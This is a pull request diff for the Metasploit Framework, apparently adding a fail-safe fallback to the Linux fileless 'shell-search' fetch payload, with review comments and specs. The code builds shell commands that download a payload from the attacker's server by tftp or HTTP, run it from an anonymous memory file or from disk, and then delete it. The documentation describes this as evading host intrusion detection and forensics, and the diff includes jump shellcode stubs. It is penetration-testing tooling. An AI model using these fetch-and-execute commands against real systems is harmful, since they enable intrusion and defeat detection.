Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 6 additions & 2 deletions docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md
Original file line number Diff line number Diff line change
Expand Up @@ -97,8 +97,12 @@ served payload is the same.
### Dependent Options
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
This option is only available when the platform is Linux.
three options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find
a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous
file handle, it executes the standard fetch command that downloads the adapted payload.

`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
Expand Down
37 changes: 30 additions & 7 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -341,10 +341,27 @@ def _execute_win(get_file_cmd)
# @return [String] The command updated for POSIX execution.
def _execute_nix(get_file_cmd)
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'

cmds = get_file_cmd
if datastore['FETCH_FILELESS'] == 'shell-search'
cmds = _generate_fileless_bash_search(get_file_cmd)
cmds << "if [ $FOUND -eq 0 ]"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Make rubocop happy :)

Suggested change
cmds << "if [ $FOUND -eq 0 ]"
cmds << 'if [ $FOUND -eq 0 ]'

cmds << "; then f=#{_remote_destination_nix(failsafe: true)}; "
cmds << get_file_cmd
cmds << "; chmod +x #{_remote_destination_nix}"
cmds << "; #{_remote_destination_nix}& "

if datastore['FETCH_DELETE']
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi"
else
cmds << "fi"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmds << "fi"
cmds << 'fi'

end

return cmds
else
cmds = get_file_cmd
end

cmds << ";chmod +x #{_remote_destination_nix}"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If I understand this correctly, when FETCH_FILELESS != 'none', _remote_destination_nix returns the literal string $f. So, if the anonymous file handle is found, this is dead code since exit 0 has already been executed. I might be wrong though.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, that's the idea to have a backup code when anonymous file handle is not found. There's no way to know whether we can find file handle ahead or not and this is kinda like if/else because the shell exists only if anonymous handle is found. I thought this might be better than patching more code and adding more code rather then adding if [ $FOUND -eq 0 ]. But I can use add if/else if it's better.

cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
Expand Down Expand Up @@ -452,13 +469,17 @@ def _generate_tftp_command(uri)
fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}")
else
_check_tftp_file
tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
# Trailing `;` matters: the shell-search fail-safe branch below
# concatenates this string directly in front of a closing ` fi`.
tftp_fetch_and_exec << "sleep #{rand(3..7)};rm -rf ./#{uri};" if datastore['FETCH_DELETE']
if datastore['FETCH_FILELESS'] != 'none' && linux?
get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same, rubocop happiness:

Suggested change
return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search'
return %(#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi) if datastore['FETCH_FILELESS'] == 'shell-search'

return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
else
fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
fetch_command = tftp_fetch_and_exec
end
end
else
Expand Down Expand Up @@ -515,10 +536,10 @@ def _remote_destination
# Returns or memoizes the remote payload destination for POSIX targets.
#

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please, could add the YARD doc for the new failsafe argument?

# @return [String] The POSIX destination path or fileless placeholder.
def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?
def _remote_destination_nix(failsafe: false)
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker:

Suggested change
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe

Same below.


if datastore['FETCH_FILELESS'] != 'none'
if datastore['FETCH_FILELESS'] != 'none' && failsafe == false
@remote_destination_nix = '$f'
else
writable_dir = datastore['FETCH_WRITABLE_DIR']
Expand All @@ -527,6 +548,8 @@ def _remote_destination_nix
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
return payload_path if failsafe

@remote_destination_nix = payload_path
end
@remote_destination_nix
Expand Down
76 changes: 53 additions & 23 deletions lib/msf/core/payload/adapter/fetch/fileless.rb
Original file line number Diff line number Diff line change
Expand Up @@ -187,80 +187,97 @@ def _generate_first_stage_shellcode(arch)
return payload
end

# Builds a POSIX shell `$(...)` fragment that reads $vdso_addr, formats it
# as a hex string zero-padded to at least `width` digits, and emits it
# with its byte order reversed (endianness swap for the target's
# little-endian jmp instruction encoding).
#
# A leading zero is inserted if the formatted hex string ends up an odd
# number of digits -- possible whenever $vdso_addr needs more digits than
# `width` pads to, e.g. a 32-bit address with the 4-digit armle/mipsle
# width below. Without it, the trailing `${v%??}` trim never matches on
# the final single character and the loop never terminates.
#
# @param width [Integer] Minimum hex digits to zero-pad $vdso_addr to.
# @return [String] The `$(...)` shell command substitution fragment.
def _hex_byte_swap_shell(width)
%^$(v=$(printf %0#{width}x $vdso_addr); if [ $((${#v} % 2)) -ne 0 ]; then v="0$v"; fi; o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^
end

def _generate_jmp_instruction(arch)
#
# The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses

case arch
# x64 shellcode
# mov rax, [target address]
# jmp rax
when 'x64'
%^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^
%^"48b8"#{_hex_byte_swap_shell(16)}"ffe0"^

# x86 shellcode
# mov eax, [target address]
# jmp eax
when 'x86'
%^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^
%^"b8"#{_hex_byte_swap_shell(8)}"ffe0"^

# ARM64 shellcode
# ldr x0, #8
# br x0
when 'aarch64'
%^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
%^"4000005800001fd6"#{_hex_byte_swap_shell(16)}^

# ARMle shelcode
# ldr.w r2, [pc, #4]
# bx r2
# bx r2
when 'armle'
%^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
%^"dff804201047"#{_hex_byte_swap_shell(4)}^

# ARMbe shelcode
# ldr.w r2, [pc, #4]
# bx r2
# bx r2
when 'armbe'
%^"f8df20044710"$(echo $(printf %04x $vdso_addr))^

# MIPSEL shellcode
# bgezal $zero, 4
# xor $t2, $t2,$t2
# lw $t2, 16($ra)
# jr $t2
when 'mipsle'
%^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
%^"000011040000000026504a011000ea8f0800400100000000"#{_hex_byte_swap_shell(4)}^

# MIPSBE shellcode
# bgezal $zero, 4
# xor $t2, $t2,$t2
# lw $t2, 16($ra)
# jr $t2
when 'mipsbe'
%^"0411000000000000014a50268fea00100140000800000000"$(echo $(printf %04x $vdso_addr))^

# MIPS64 shellcode
# bgezal $zero, 4
# xor $t2, $t2,$t2
# ld $t2, 16($ra)
# jr $t2
when 'mips64'
%^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^

# RISC-V 64-bit LE shellcode
# auipc t0, 0
# ld t0, 12(t0)
# jr t0
# .dword [target address]
when 'riscv64le'
%^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
%^"9702000083b2c20067800200"#{_hex_byte_swap_shell(16)}^

# RISC-V 32-bit LE shellcode
# auipc t0, 0
# lw t0, 12(t0)
# jr t0
# .word [target address]
when 'riscv32le'
%^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
%^"9702000083a2c20067800200"#{_hex_byte_swap_shell(8)}^

else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
Expand Down Expand Up @@ -292,7 +309,11 @@ def _generate_fileless_shell(get_file_cmd, arch)

cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);'
cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];'
cmd << "then if $(#{get_file_cmd} >/dev/null);"
# get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added
# to swallow noise like a `tee`'s terminal echo) can't clobber a redirect
# get_file_cmd already embeds itself (e.g. the plain `GET`-based
# `... >$f`) -- the inner, more specific redirect still wins.
cmd << "then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];"
cmd << 'then $f & FOUND=1;break;'
cmd << 'fi;'
cmd << 'fi;'
Expand Down Expand Up @@ -325,15 +346,24 @@ def _generate_fileless_bash_search(get_file_cmd)
# and execute it
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if $(#{get_file_cmd} >/dev/null)"
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
# get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added
# to swallow noise like a `tee`'s terminal echo) can't clobber a redirect
# get_file_cmd already embeds itself (e.g. the plain `GET`-based
# `... >$f`) -- the inner, more specific redirect still wins.
cmd << "; then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]"
cmd << '; then $f '
cmd << '& FOUND=1'
# `exit`, not `break` -- a bare break would only exit this inner loop, and
# when this search script is concatenated with a fallback (as
# _execute_nix's shell-search branch does), the fallback would then run
# again and re-download/re-exec the payload a second time.
cmd << '; exit 0'
cmd << '; fi'
cmd << '; fi'
cmd << '; done'
cmd << '; fi'
cmd << '; done'
cmd << ';'

cmd
end
Expand Down
94 changes: 92 additions & 2 deletions spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
require 'spec_helper'
require 'tempfile'

RSpec.describe Msf::Payload::Adapter::Fetch::Fileless do
let(:harness_class) do
Expand Down Expand Up @@ -46,15 +47,104 @@
subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) }

it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
expect(cmd).to include("if $(#{get_file_cmd} >/dev/null)")
expect(cmd).to include("if (#{get_file_cmd}) >/dev/null")
end

it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do
# get_file_cmd can itself end in a raw `>$dest` redirect (e.g. the
# plain GET-based fetch command). Appending ` >/dev/null` directly
# after that, unparenthesized, would silently win and the payload
# would never be written to the candidate file.
expect(cmd).not_to include("#{get_file_cmd} >/dev/null")
end

it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
# $(get_file_cmd >/dev/null) always captures an empty string (stdout is
# redirected away inside the substitution), and `if <empty>` is always
# true in bash regardless of whether get_file_cmd actually succeeded.
expect(cmd).not_to include("$(#{get_file_cmd}")
end

it 'verifies the candidate anonymous file actually holds a downloaded ELF, not just any pre-existing content' do
# A candidate fd can pass the memfd/rwx filter yet belong to an unrelated
# process with its own real (non-empty) data already in it -- a bare
# exit-status or size check can't tell "our payload landed here" apart
# from "there was already unrelated data here we couldn't overwrite".
expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]})
end

it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do
expect(cmd).not_to include('od ')
expect(cmd).not_to include('head -c4 $f')
end

it 'exits the whole script on a successful match rather than merely breaking the search loop' do
# A bare `break` only exits the innermost loop -- when this search
# script is concatenated with a fallback (as _execute_nix's shell-search
# branch does), a successful match must terminate the entire script via
# `exit`, or the fallback below would run again and re-download/re-exec
# the payload a second time.
expect(cmd).not_to include('; break')
end
end

describe '#_generate_fileless_shell' do
subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') }

it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
expect(cmd).to include("then if $(#{get_file_cmd} >/dev/null)")
expect(cmd).to include("then if (#{get_file_cmd}) >/dev/null")
end

it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do
expect(cmd).not_to include("#{get_file_cmd} >/dev/null")
end

it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
expect(cmd).not_to include("$(#{get_file_cmd}")
end

it 'verifies the candidate anonymous file actually holds a downloaded ELF' do
expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]})
end

it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do
expect(cmd).not_to include('od ')
expect(cmd).not_to include('head -c4 $f')
end
end

describe '#_hex_byte_swap_shell' do
def swapped_hex(padded_hex)
padded_hex.scan(/../).reverse.join
end

# Actually runs the generated shell fragment (with $vdso_addr set) through
# `sh`, bounded by `timeout` so a regression back to the pre-fix infinite
# loop fails the example instead of hanging the suite.
def run_fragment(width, vdso_addr)
fragment = harness._hex_byte_swap_shell(width)
Tempfile.create('hex_byte_swap_probe') do |f|
f.write("vdso_addr=#{vdso_addr}\necho #{fragment}\n")
f.flush
`timeout 2 sh #{f.path}`.strip
end
end

it 'reverses byte order of an address that exactly fits the padded width' do
result = run_fragment(8, 0x12345678)
expect(result).to eq(swapped_hex('12345678'))
end

it 'terminates and produces the correctly byte-swapped result when the address needs more digits than the padded width' do
# printf %04x on 0x10000 yields "10000" -- 5 (odd) hex digits, since
# printf only pads *up to* the given width, it doesn't clip larger
# values down to it. The old, unguarded ${v%??} trim loop assumed an
# always-even-length string and spun forever once it reached the last
# single leftover character; the `timeout` wrapper here turns that
# regression into a failing example instead of a hung spec run.
vdso_addr = 0x10000
result = run_fragment(4, vdso_addr)
expect(result).to eq(swapped_hex('010000'))
end
end
end
Loading
Loading